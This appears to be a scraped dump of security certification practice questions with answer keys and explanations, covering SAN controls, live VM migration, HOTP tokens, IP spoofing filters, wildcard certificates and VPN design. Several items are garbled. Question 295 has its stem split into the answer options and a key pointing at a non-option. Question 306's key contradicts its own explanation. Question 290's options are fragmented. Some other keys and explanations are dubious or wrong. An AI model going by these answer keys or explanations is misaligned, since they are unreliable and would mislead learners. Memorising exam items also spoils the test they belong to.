B: RAID configuration is the configuration of the disks in the SAN. A RAID is an array of disks that provides a logical pool of storage by combining the storage capacity of the disks. RAID provides hardware redundancy in that the data will not be lost if an individual disk fails. RAID configuration is not a technical control for securing a SAN storage infrastructure.

C: Data de-duplication is the process of eliminating multiple copies of the same data to save storage space. It is not a technical control for securing a SAN storage infrastructure.

D: Storage pool space allocation is the process of allocating and making available portions of the storage pool to servers. It is not a technical control for securing a SAN storage infrastructure.

E: Port scanning is the process of probing a server or host for open ports. It is not a technical control for securing a SAN storage infrastructure.

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NEW QUESTION 276

A security administrator is performing VDI traffic data collection on a virtual server which migrates from one host to another. While reviewing the data collected by the protocol analyzer, the security administrator notices that sensitive data is present in the packet capture. Which of the following should the security administrator recommend to ensure the confidentiality of sensitive information during live VM migration, while minimizing latency issues?

- A. A separate physical interface placed on a private VLAN should be configured for live host operations.
- B. Database record encryption should be used when storing sensitive information on virtual servers.
- C. Full disk encryption should be enabled across the enterprise to ensure the confidentiality of sensitive data.
- D. Sensitive data should be stored on a backend SAN which uses an isolated fiber channel network

Answer: A

Explanation:

VDI virtual machines can be migrated across physical hosts while the virtual machines are still powered on. In VMware, this is called vMotion. In Microsoft Hyper-V, this is called Live Migration. When a virtual machine is migrated between hosts, the data is unencrypted as it travels across the network. To prevent access to the data as it travels across the network, a dedicated network should be created for virtual machine migrations. The dedicated migration network should only be accessible by the virtual machine hosts to maximize security.

Incorrect Answers:

B: Database record encryption is used for encrypting database records only. This question does not state that the only sensitive data is database records. The data is at risk as it travels across the network when virtual machines are migrated between hosts. Data is unencrypted when it is transmitted over the network.

C: Full disk encryption is a good idea to secure data stored on disk. However, the data is unencrypted when it is transmitted over the network.

D: The sensitive data is on the VDI virtual machines. Storing the sensitive information on an isolated fiber channel network would make the information inaccessible from the virtual machines.

NEW QUESTION 279

Joe, a penetration tester, is tasked with testing the security robustness of the protocol between a mobile web application and a RESTful application server. Which of the following security tools would be required to assess the security between the mobile web application and the RESTful application server? (Select TWO).

- A. Jailbroken mobile device
- B. Reconnaissance tools
- C. Network enumerator
- D. HTTP interceptor
- E. Vulnerability scanner
- F. Password cracker

Answer: DE

Explanation:

Communications between a mobile web application and a RESTful application server will use the HTTP protocol. To capture the HTTP communications for analysis, you should use an HTTP Interceptor. To assess the security of the application server itself, you should use a vulnerability scanner.

A vulnerability scan is the automated process of proactively identifying security vulnerabilities of computing systems in a network in order to determine if and where a system can be exploited and/or threatened. While public servers are important for communication and data transfer over the Internet, they open the door to potential security breaches by threat agents, such as malicious hackers.

Vulnerability scanning employs software that seeks out security flaws based on a database of known flaws, testing systems for the occurrence of these flaws and generating a report of the findings that an individual or an enterprise can use to tighten the network's security.

Vulnerability scanning typically refers to the scanning of systems that are connected to the Internet but can also refer to system audits on internal networks that are not connected to the Internet in order to assess the threat of rogue software or malicious employees in an enterprise.

Incorrect Answers:

A: A jailbroken mobile device is a mobile device with an operating system that has any built-in security restrictions removed. This enables you to install software and perform actions that the manufacturer did not intend. However, a jailbroken mobile device is not a suitable security tool to assess the security between the mobile web application and the RESTful application server.

B: Reconnaissance in terms of IT security is the process of learning as much as possible about a target business usually over a long period of time with a view to discovering security flaws. It is not used by security administrators for security assessment of client-server applications.

C: Network enumeration is a computing activity in which usernames and info on groups, shares, and services of networked computers are retrieved. It is not used to assess the security between the mobile web application and the RESTful application server.

F: A password cracker is used to guess passwords. It is not a suitable security tool to assess the security between the mobile web application and the RESTful application server.

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NEW QUESTION 282

ABC Corporation uses multiple security zones to protect systems and information, and all of the VM hosts are part of a consolidated VM infrastructure. Each zone has different VM administrators. Which of the following restricts different zone administrators from directly accessing the console of a VM host from another zone?

- A. Ensure hypervisor layer firewalling between all VM hosts regardless of security zone.
- B. Maintain a separate virtual switch for each security zone and ensure VM hosts bind to only the correct virtual NIC(s).
- C. Organize VM hosts into containers based on security zone and restrict access using an ACL.
- D. Require multi-factor authentication when accessing the console at the physical VM hos

Answer: C

Explanation:

Access Control Lists (ACLs) are used to restrict access to the console of a virtual host. Virtual hosts are often managed by centralized management servers (for example: VMware vCenter Server). You can create logical containers that can contain multiple hosts and you can configure ACLs on the containers to provide access to the hosts within the container. Incorrect Answers:

A: Hypervisor layer firewalling is used to restrict the network traffic that can access the host. It does not prevent a user from directly accessing the console of the host.

B: Maintaining a separate virtual switch for each security zone and ensuring VM hosts bind to only the correct virtual NIC(s) will restrict the network access of the VM hosts. It does not prevent a user from directly accessing the console of the host.

D: Multi-factor authentication is a secure way of authenticating a user. However, that's all it does: authenticates someone. In other words, it only proves that the person is who they say they are. You would still need an ACL to determine whether that person is allowed or not allowed to access the console of the host.

NEW QUESTION 283

ABC Company must achieve compliance for PCI and SOX. Which of the following would BEST allow the organization to achieve compliance and ensure security? (Select THREE).

- A. Establish a list of users that must work with each regulation
- B. Establish a list of devices that must meet each regulation
- C. Centralize management of all devices on the network
- D. Compartmentalize the network
- E. Establish a company framework
- F. Apply technical controls to meet compliance with the regulation

Answer: BDF

Explanation:

Payment card industry (PCI) compliance is adherence to a set of specific security standards that were developed to protect card information during and after a financial transaction. PCI compliance is required by all card brands.

There are six main requirements for PCI compliance. The vendor must: Build and maintain a secure network

Protect cardholder data

Maintain a vulnerability management program Implement strong access control measures Regularly monitor and test networks Maintain an information security policy

To achieve PCI and SOX compliance you should:

Establish a list of devices that must meet each regulation. List all the devices that contain the sensitive data.

Compartmentalize the network. Compartmentalize the devices that contain the sensitive data to form a security boundary.

Apply technical controls to meet compliance with the regulation. Secure the data as required. Incorrect Answers:

A: It is not necessary to establish a list of users that must work with each regulation. All users should be trained to manage sensitive dat

A: However, PCI and SOX compliance is more about the security of the data on the computers that contain the data.

C: Central management of all devices on the network makes device management easier for administrators. However, it is not a requirement for PCI and SOX compliance.

E: A company framework is typically related to the structure of employee roles and departments. It is not a requirement for PCI and SOX compliance.

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NEW QUESTION 286

A pentester must attempt to crack passwords on a windows domain that enforces strong complex passwords. Which of the following would crack the MOST passwords in the shortest time period?

- A. Online password testing
- B. Rainbow tables attack
- C. Dictionary attack
- D. Brute force attack

Answer: B

Explanation:

The passwords in a Windows (Active Directory) domain are encrypted.

When a password is "tried" against a system it is "hashed" using encryption so that the actual password is never sent in clear text across the communications line. This prevents eavesdroppers from intercepting the password. The hash of a password usually looks like a bunch of garbage and is typically a different length than the original password. Your password might be "shitzu" but the hash of your password would look something like "7378347eedbfdd761619451949225ec1".

To verify a user, a system takes the hash value created by the password hashing function on the client computer and compares it to the hash value stored in a table on the server. If the hashes match, then the user is authenticated and granted access.

Password cracking programs work in a similar way to the login process. The cracking program starts by taking plaintext passwords, running them through a hash algorithm, such as MD5, and then compares the hash output with the hashes in the stolen password file. If it finds a match then the program has cracked the password.

Rainbow Tables are basically huge sets of precomputed tables filled with hash values that are prematched to possible plaintext passwords. The Rainbow Tables essentially allow hackers to reverse

the hashing function to determine what the plaintext password might be.

The use of Rainbow Tables allow for passwords to be cracked in a very short amount of time compared with brute-force methods, however, the trade-off is that it takes a lot of storage (sometimes Terabytes) to hold the Rainbow Tables themselves.

Incorrect Answers:

A: Online password testing cannot be used to crack passwords on a windows domain.

C: The question states that the domain enforces strong complex passwords. Strong complex passwords must include upper and lowercase letters, numbers and punctuation marks. A word in the dictionary would not meet the strong complex passwords requirement so a dictionary attack would be ineffective at cracking the passwords in this case.

D: Brute force attacks against complex passwords take much longer than a rainbow tables attack. References:

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NEW QUESTION 290

A company decides to purchase commercially available software packages. This can introduce new security risks to the network. Which of the following is the BEST description of why this is true?

A. Commercially available software packages are typically well known and widely available. Information concerning vulnerabilities and viable attack patterns are never revealed by the developer to avoid lawsuits.

B. Commercially available software packages are often widely available

C. Information concerning vulnerabilities is often kept internal to the company that developed the software.

D. Commercially available software packages are not widespread and are only available in limited area

E. Information concerning vulnerabilities is often ignored by business managers.

F. Commercially available software packages are well known and widely available

G. Information concerning vulnerabilities and viable attack patterns are always shared within the IT community.

Answer: B

Explanation:

Commercially available software packages are often widely available. Huge companies like Microsoft develop software packages that are widely available and in use on most computers. Most companies that develop commercial software make their software available through many commercial outlets (computer stores, online stores etc).

Information concerning vulnerabilities is often kept internal to the company that developed the software. The large companies that develop commercial software packages are accountable for the software. Information concerning vulnerabilities being made available could have a huge financial cost to the company in terms of loss of reputation and lost revenues. Information concerning vulnerabilities is often kept internal to the company at least until a patch is available to fix the vulnerability.

Incorrect Answers:

A: It is true that commercially available software packages are typically well known and widely available. However, it is not true that information concerning vulnerabilities and viable attack patterns are never revealed by the developer to avoid lawsuits. Information concerning vulnerabilities is often kept quiet at first but the information is usually made available when a patch is released to fix the vulnerability.

C: It is not true that commercially available software packages are not widespread and are only available in limited areas.

D: It is true that commercially available software packages are typically well known and widely available. However, it is not true that information concerning vulnerabilities and viable attack patterns are always shared within the IT community. This information is often kept internal to the company that developed the software until a patch is available.

NEW QUESTION 295

A storage as a service company implements both encryption at rest as well as encryption in transit of customers' data

A. The security administrator is concerned with the overall security of the encrypted customer data stored by the company servers and wants the development team to implement a solution that will strengthen the customer's encryption key

B. Which of the following, if implemented, will MOST increase the time an offline password attack against the customers' data would take?

C. `key = NULL ; for (int i=0; i<5000; i++) { key = sha(key + password) }`

D. `password = NULL ; for (int i=0; i<10000; i++) { password = sha256(key) }`

E. `password = password + sha(password+salt) + aes256(password+salt)`

F. `key = aes128(sha256(password), password)`

Answer: A

Explanation:

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NEW QUESTION 299

ABC Corporation has introduced token-based authentication to system administrators due to the risk of password compromise. The tokens have a set of HMAC counter-based codes and are valid until they are used. Which of the following types of authentication mechanisms does this statement describe?

- A. TOTP
- B. PAP
- C. CHAP
- D. HOTP

Answer: D

Explanation:

The question states that the HMAC counter-based codes and are valid until they are used. These are “one-time” use codes.

HOTP is an HMAC-based one-time password (OTP) algorithm.

HOTP can be used to authenticate a user in a system via an authentication server. Also, if some more steps are carried out (the server calculates subsequent OTP value and sends/displays it to the user who checks it against subsequent OTP value calculated by his token), the user can also authenticate the validation server.

Both hardware and software tokens are available from various vendors. Hardware tokens implementing OATH HOTP tend to be significantly cheaper than their competitors based on proprietary algorithms. Some products can be used for strong passwords as well as OATH HOTP. Software tokens are available for (nearly) all major mobile/smartphone platforms.

Incorrect Answers:

A: TOTP is Time-based One-time Password. This is similar to the one-time password system used in this question. However, TOTPs expire after a period of time.

In this question, the passwords (codes) expire after first use regardless of the timing of the first use.

B: PAP (Password Authentication Protocol) is a simple authentication protocol in which the user name and password is sent to a remote access server in a plaintext (unencrypted) form. PAP is not what is described in this question.

C: CHAP (Challenge-Handshake Authentication Protocol) is an authentication protocol that provides protection against replay attacks by the peer through the use of an incrementally changing identifier and of a variable challenge-value. CHAP requires that both the client and server know the plaintext of the secret, although it is never sent over the network. CHAP is not what is described in this question.

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NEW QUESTION 301

An organization uses IP address block 203.0.113.0/24 on its internal network. At the border router, the network administrator sets up rules to deny packets with a source address in this subnet from entering the network, and to deny packets with a destination address in this subnet from leaving the network. Which of the following is the administrator attempting to prevent?

- A. BGP route hijacking attacks
- B. Bogon IP network traffic
- C. IP spoofing attacks
- D. Man-in-the-middle attacks
- E. Amplified DDoS attacks

Answer: C

Explanation:

The IP address block 203.0.113.0/24 is used on the internal network. Therefore, there should be no traffic coming into the network claiming to be from an address in the 203.0.113.0/24 range. Similarly, there should be no outbound traffic destined for an address in the 203.0.113.0/24 range. So this has been blocked at the firewall. This is to protect against IP spoofing attacks where an attacker external to the network sends data claiming to be from an internal computer with an address in the 203.0.113.0/24 range.

IP spoofing, also known as IP address forgery or a host file hijack, is a hijacking technique in which a cracker masquerades as a trusted host to conceal his identity, spoof a Web site, hijack browsers, or gain access to a network. Here's how it works: The hijacker obtains the IP address of a legitimate host and alters packet headers so that the legitimate host appears to be the source.

When IP spoofing is used to hijack a browser, a visitor who types in the URL (Uniform Resource Locator) of a legitimate site is taken to a fraudulent Web page created by the hijacker. For example, if the hijacker spoofed the Library of Congress Web site, then any Internet user who typed in the URL www.loc.gov would see spoofed content created by the hijacker.

If a user interacts with dynamic content on a spoofed page, the hijacker can gain access to sensitive information or computer or network resources. He could steal or alter sensitive data, such as a credit card number or password, or install malware. The hijacker would also be able to take control of a compromised computer to use it as part of a zombie army in order to send out spam.

Incorrect Answers:

A: BGP is a protocol used to exchange routing information between networks on the Internet. BGP route hijacking is the process of using BGP to manipulate Internet routing paths. The firewall configuration in this question will not protect against BGP route hijacking attacks.

B: Bogon is an informal name for an IP packet on the public Internet that claims to be from an area of the IP address space reserved, but not yet allocated or delegated by the Internet Assigned Numbers Authority (IANA) or a delegated Regional Internet Registry (RIR). The firewall configuration in this question will not protect against Bogon IP network traffic.

D: A man-in-the-middle attack is an attack where the attacker secretly relays and possibly alters the communication between two parties who believe they are directly communicating with each other. The firewall configuration in this question will not protect against a man-in-the-middle attack.

E: A distributed denial-of-service (DDoS) attack occurs when multiple systems flood the bandwidth or resources of a targeted system, usually one or more web servers. Amplified DDoS attacks use more systems to ‘amplify’ the attack. The firewall configuration in this question will not protect against a DDoS attack.

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NEW QUESTION 306

Using SSL, an administrator wishes to secure public facing server farms in three subdomains: dc1.east.company.com, dc2.central.company.com, and dc3.west.company.com. Which of the following is the number of wildcard SSL certificates that should be purchased?

- A. 1
- B. 3
- C. 6

Answer: C

Explanation:

You would need three wildcard certificates:

- *. east.company.com
- *. central.company.com
- *. west.company.com

The common domain in each of the domains is company.com. However, a wildcard covers only one level of subdomain. For example: *. company.com will cover "<anything>.company.com" but it won't cover "<anything>.<anything>.company.com".

You can only have one wildcard in a domain. For example: *.company.com. You cannot have

*. *.company.com. Only the leftmost wildcard (*) is counted. Incorrect Answers:

A: You cannot secure public facing server farms without any SSL certificates.

B: You need three wildcard certificates, not one. A wildcard covers only one level of subdomain. D: You do not need six wildcard certificates to secure three domains.

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NEW QUESTION 308

A senior network security engineer has been tasked to decrease the attack surface of the corporate network. Which of the following actions would protect the external network interfaces from external attackers performing network scanning?

- A. Remove contact details from the domain name registrar to prevent social engineering attacks.
- B. Test external interfaces to see how they function when they process fragmented IP packets.
- C. Enable a honeynet to capture and facilitate future analysis of malicious attack vectors.
- D. Filter all internal ICMP message traffic, forcing attackers to use full-blown TCP port scans against external network interfaces.

Answer: B

Explanation:

Fragmented IP packets are often used to evade firewalls or intrusion detection systems.

Port Scanning is one of the most popular reconnaissance techniques attackers use to discover services they can break into. All machines connected to a Local Area Network (LAN) or Internet run many services that listen at well-known and not so well known ports. A port scan helps the attacker find which ports are available (i.e., what service might be listening to a port).

One problem, from the perspective of the attacker attempting to scan a port, is that services listening on these ports log scans. They see an incoming connection, but no data, so an error is logged. There exist a number of stealth scan techniques to avoid this. One method is a fragmented port scan. Fragmented packet Port Scan

The scanner splits the TCP header into several IP fragments. This bypasses some packet filter firewalls because they cannot see a complete TCP header that can match their filter rules. Some packet filters and firewalls do queue all IP fragments, but many networks cannot afford the performance loss caused by the queuing.

Incorrect Answers:

A: Removing contact details from the domain name registrar does not improve the security of a network.

C: Enabling a honeynet to capture and facilitate future analysis of malicious attack vectors is a good way of gathering information to help you plan how you can defend against future attacks. However, it does not improve the security of the existing network.

D: Filter all internal ICMP message traffic does not force attackers to use full-blown TCP port scans against external network interfaces. They can use fragmented scans.

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NEW QUESTION 309

An educational institution would like to make computer labs available to remote students. The labs are used for various IT networking, security, and programming courses. The requirements are: Each lab must be on a separate network segment.

Labs must have access to the Internet, but not other lab networks.

Student devices must have network access, not simple access to hosts on the lab networks. Students must have a private certificate installed before gaining access.

Servers must have a private certificate installed locally to provide assurance to the students. All students must use the same VPN connection profile.

Which of the following components should be used to achieve the design in conjunction with directory services?

- A. L2TP VPN over TLS for remote connectivity, SAML for federated authentication, firewalls between each lab segment
- B. SSL VPN for remote connectivity, directory services groups for each lab group, ACLs on routing equipment
- C. IPSec VPN with mutual authentication for remote connectivity, RADIUS for authentication, ACLs on network equipment
- D. Cloud service remote access tool for remote connectivity, OAuth for authentication, ACL on routing equipment

Answer: C

Explanation:

IPSec VPN with mutual authentication meets the certificates requirements. RADIUS can be used with the directory service for the user authentication.

ACLs (access control lists) are the best solution for restricting access to network hosts. Incorrect Answers:

A: This solution has no provision for restricting access to hosts on the lab networks. B: This solution has no provision for restricting access to hosts on the lab networks. D: This solution has no provision for restricting access to hosts on the lab networks.

NEW QUESTION 311

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